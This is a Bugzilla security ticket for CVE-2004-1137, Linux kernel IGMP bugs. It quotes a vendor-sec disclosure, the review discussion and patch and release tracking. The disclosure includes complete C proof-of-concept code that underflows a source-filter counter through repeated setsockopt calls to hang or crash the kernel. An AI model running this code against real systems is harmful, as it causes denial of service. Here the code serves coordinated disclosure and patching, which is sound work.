Bugzilla – Bug 63895
VUL-0: CVE-2004-1137: kernel: bug in IGMP code
Last modified: 2021-10-19 13:45:38 UTC
Hello, this one comes from Paul Starzetz and was posted to vendor-sec (private). From: Paul Starzetz <ihaquer@isec.pl> Reply-To: security@isec.pl To: vendor-sec <vendor-sec@lst.de> Old-Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [vendor-sec] Serious multiple Linux <= 2.4.28 IGMP vulnerabilities Errors-To: vendor-sec-admin@lst.de Date: Fri, 3 Dec 2004 12:10:12 +0100 (CET) [-- PGP Ausgabe folgt (aktuelle Zeit: Fr 03 Dez 2004 13:41:05 CET) --] gpg: Unterschrift vom Fr 03 Dez 2004 12:10:15 CET, DSA SchlÃŒssel ID 9E70A6EE gpg: Unterschrift kann nicht geprÃŒft werden: Ãffentlicher SchlÃŒssel nicht gefunden [-- Ende der PGP-Ausgabe --] [-- BEGIN PGP SIGNED MESSAGE --] Hi, I'm sorry to bother you again... but: There are multiple serious issues with the igmp.c code in recent kernel versions. Here an incomplete list of bugs: 1) ip_mc_source suffers from a serious kernel deadlock & kernel memory overwrite problem (see attached code). It is possible to decrement the psl->sl_count counter to be 0xffffffff == -1 with the consequence that: - a repeated call will start a loop counting from 0 to UINT_MAX causing a kernel hang for minutes (depending on the machine speed), then the whole kernel memory following the kmalloc'ated buffer will be shifted by 4 bytes (LOL) causing an immediate reboot. - If properly exploited this will lead to elevated privileges. Btw. the code there is obviously nonsense: rv = !0; for (i=0; i<psl->sl_count; i++) { rv = memcmp(&psl->sl_addr, &mreqs->imr_multiaddr, sizeof(__u32)); if (rv >= 0) break; } if (!rv) /* source not found */ goto done; If we had the 01.04 today I would say some people have keyboards without the '[' and ']' brackets ;-) 2) because of the bug 15001) it is possible to read huge portions of kernel memory through ip_mc_msfget() 3) igmp_marksources() function is called in the context of an IGMP group query and suffers from an out of bound access to kernel memory. This is remotely exploitable if applications have bound a multicast socket. I'm not sure but I guess that there is a large number of standard apps that use multicast, eg. some Linux routing packages or videoconferencing, etc. You may check for your configuration if you are vulnerable: /proc/net/igmp /proc/net/mcfilter if both files exist and are non-empty you are vulnerable. This bug allows in the best case to remotely DoS a Linux machine with just a moderate flow of prepared IGMP packets. In the worst case (the socket buffer allocated for the packet is at the end of kernel accessible memory), the Linux machine may be crashed remotely. 4) I think there are more bugs and more or less subtle races in that code. And seriously, please save me from the 'I have a patch for X' 'I have a patch for Y' mentality, I feel like that code or at least parts of it have been done by people _without_ any elementary C and kernel API & principles knowledge. It _must_ be completely reaudited. I really wonder, since I remember that it was mostly clean in .22 or .23 or so, so who the hell is breaking it again and again and why??
<!-- SBZ_reproduce --> /************ SNIP HERE *************/ /* * Linux igmp.c local DoS * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <syscall.h> #include <signal.h> #include <time.h> #include <sched.h> #include <fcntl.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/utsname.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/wait.h> #include <sys/sysinfo.h> #include <netinet/in.h> #include <linux/types.h> #include <asm/page.h> #define str(s) #s #define xstr(s) str(s) #define MCAST_INCLUDE 1 #define IP_MSFILTER 41 #define IP_UNBLOCK_SOURCE 37 #define IP_BLOCK_SOURCE 38 struct ip_msfilter { __u32 imsf_multiaddr; __u32 imsf_interface; __u32 imsf_fmode; __u32 imsf_numsrc; __u32 imsf_slist[1]; }; struct ip_mreq_source { __u32 imr_multiaddr; __u32 imr_interface; __u32 imr_sourceaddr; }; void fatal (const char *message) { printf ("\n"); if (!errno) { fprintf (stdout, "FATAL: %s\n", message); } else { fprintf (stdout, "FATAL: %s (%s) ", message, (char *) (strerror (errno))); } printf ("\n"); fflush (stdout); exit (1); } int main () { int s, r, l; struct ip_mreqn mr; struct ip_msfilter msf; struct ip_mreq_source ms; in_addr_t a1, a2; s = socket (AF_INET, SOCK_DGRAM, 0); if (s < 0) fatal ("socket"); // first join mcast group memset (&mr, 0, sizeof (mr)); mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199"); l = sizeof (mr); r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l); if (r < 0) fatal ("setsockopt"); // add source filter count=1 memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt2"); // del source filter count = 0 // imr_multiaddr & imr_interface must correspond to ADD memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt2"); // del again, count = -1 memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt3"); // b00m memset (&ms, 0, sizeof (ms)); ms.imr_multiaddr = inet_addr ("224.0.0.199"); ms.imr_sourceaddr = inet_addr ("4.5.6.7"); l = sizeof (ms); r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l); if (r < 0) fatal ("setsockopt4"); getchar (); return 0; } /* EOF */
From: Paul Starzetz <ihaquer@isec.pl> To: vendor-sec <vendor-sec@lst.de> Subject: [vendor-sec] Re: Serious multiple Linux <= 2.4.28 IGMP vulnerabilities Errors-To: vendor-sec-admin@lst.de Date: Fri, 3 Dec 2004 12:52:39 +0100 (CET) On Fri, 3 Dec 2004, Paul Starzetz wrote: > Hi, > btw same for 2.6.9 _______________________________________________ Vendor Security mailing list Vendor Security@lst.de +
From: Chris Wright <chrisw@osdl.org> To: security@isec.pl Cc: vendor-sec <vendor-sec@lst.de> Subject: Re: [vendor-sec] Serious multiple Linux <= 2.4.28 IGMP vulnerabilities User-Agent: Mutt/1.2.5i Errors-To: vendor-sec-admin@lst.de Date: Sat, 4 Dec 2004 01:54:42 -0800 * Paul Starzetz (ihaquer@isec.pl) wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > > I'm sorry to bother you again... but: No bother, your efforts are very much appreciated. > There are multiple serious issues with the igmp.c code in recent kernel > versions. Here an incomplete list of bugs: > > 1) ip_mc_source suffers from a serious kernel deadlock & kernel memory > overwrite problem (see attached code). It is possible to decrement the > psl->sl_count counter to be 0xffffffff == -1 with the consequence that: > > - - a repeated call will start a loop counting from 0 to UINT_MAX causing a > kernel hang for minutes (depending on the machine speed), then the > whole kernel memory following the kmalloc'ated buffer will be shifted by 4 > bytes (LOL) causing an immediate reboot. Heh, yes, this is a nice one. > - - If properly exploited this will lead to elevated privileges. > > Btw. the code there is obviously nonsense: > > rv = !0; > for (i=0; i<psl->sl_count; i++) { > rv = memcmp(&psl->sl_addr, &mreqs->imr_multiaddr, > sizeof(__u32)); > if (rv >= 0) > break; > } > if (!rv) /* source not found */ > goto done; > > If we had the 01.04 today I would say some people have keyboards without > the '[' and ']' brackets ;-) Nonsense indeed. Same code was copied to ipv6 as well, despite it being seriously mixed up. > 2) because of the bug 15001) it is possible to read huge portions of kernel > memory through ip_mc_msfget() > > > 3) igmp_marksources() function is called in the context of an IGMP group > query and suffers from an out of bound access to kernel memory. This is > remotely exploitable if applications have bound a multicast socket. Didn't look at this one yet. > And seriously, please save me from the 'I have a patch for X' 'I have a > patch for Y' mentality, I feel like that code or at least parts of it have > been done by people _without_ any elementary C and kernel API & principles > knowledge. It _must_ be completely reaudited. I really wonder, since I > remember that it was mostly clean in .22 or .23 or so, so who the hell is > breaking it again and again and why?? I suspect it's new features for v3, etc. I agree, the code needs some thorough auditing. Since 2.6.10 is coming out soon it'd be quite nice to get minimal fixes in for known problems before 2.6.10. In that vein, here's enough to stop Paul's attached exploit (and should keep sl_count in proper order to stop bug 15002). This is for both ipv4 and ipv6. It actually tests the whole source list not just the first element, and it checks it against the source addr, not the mcast group. In the delete case, it makes sure to delete when it finds a match, rather than vice-versa ;-) What's a good date? thanks, -chris
Created attachment 26775 [details] igmp-patch.diff
Olaf, can you please review the patch?
Will do. As always, please assign a bug to me if you want my feedback. I may not see it if I'm just cc'ed.
The patch applies fine to our 2.6 based trees and to our 2.4.21 based SLES8 tree. However for 2.4.20 and 2.4.19 (SL 8.1 and SLEC) things look quite different. I urgently need the fix for those trees as well, else the update will be delayed once again.
igmp_marksources appears not to be fixed yet with above patch.
Created attachment 26806 [details] updated patch from Chris Wright suggested CRD 14.12.
The patch is obviously correct, and fixes the problems described by Paul (it also fixes the logic of the "source not found" case which was broken - IGMP may not have worked very well without this fix :) Two things - we also need to check the MLD code in IPv6 which was also written by David Stevens and thus has a fair chance of having the same set of problems. - we also have to check the SLES8 kernel because we backported the IGMPv3 code to it
Hubert already ported the SLES 8 changes. where is the mld code?
see last comment
is now in mainline: http://linux.bkbits.net:8080/linux-2.6/cset%401.2158?nav=index.html| ChangeSet@-1d
Created attachment 26889 [details] signedness-compat.patch additional patch to net/compat.c layer
The MLD code is in net/ipv6/mcast.c, but looking at Chris Wright's updated patch, I can see that he already fixed those locations as well.
comment 13 and 14 are off, they belong somewhere else.
CAN-2004-1137
Created attachment 26996 [details] correction for updated patch Chris Wright made another correction to his patch. This is what interdiff shows.
Created attachment 27005 [details] igmp-fixes.patch full new patch
Created attachment 27011 [details] igmp.c compiling exploit. gcc -o igmp igmp.c ./igmp -> machine hangs
Paul Starzetz has released his advisory.
well, yes. kernels are in QA...
updates and advisory released... however, we still need to merge the updated patch.
all branches now have the correct fix released.
CVE-2004-1137: CVSS v2 Base Score: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)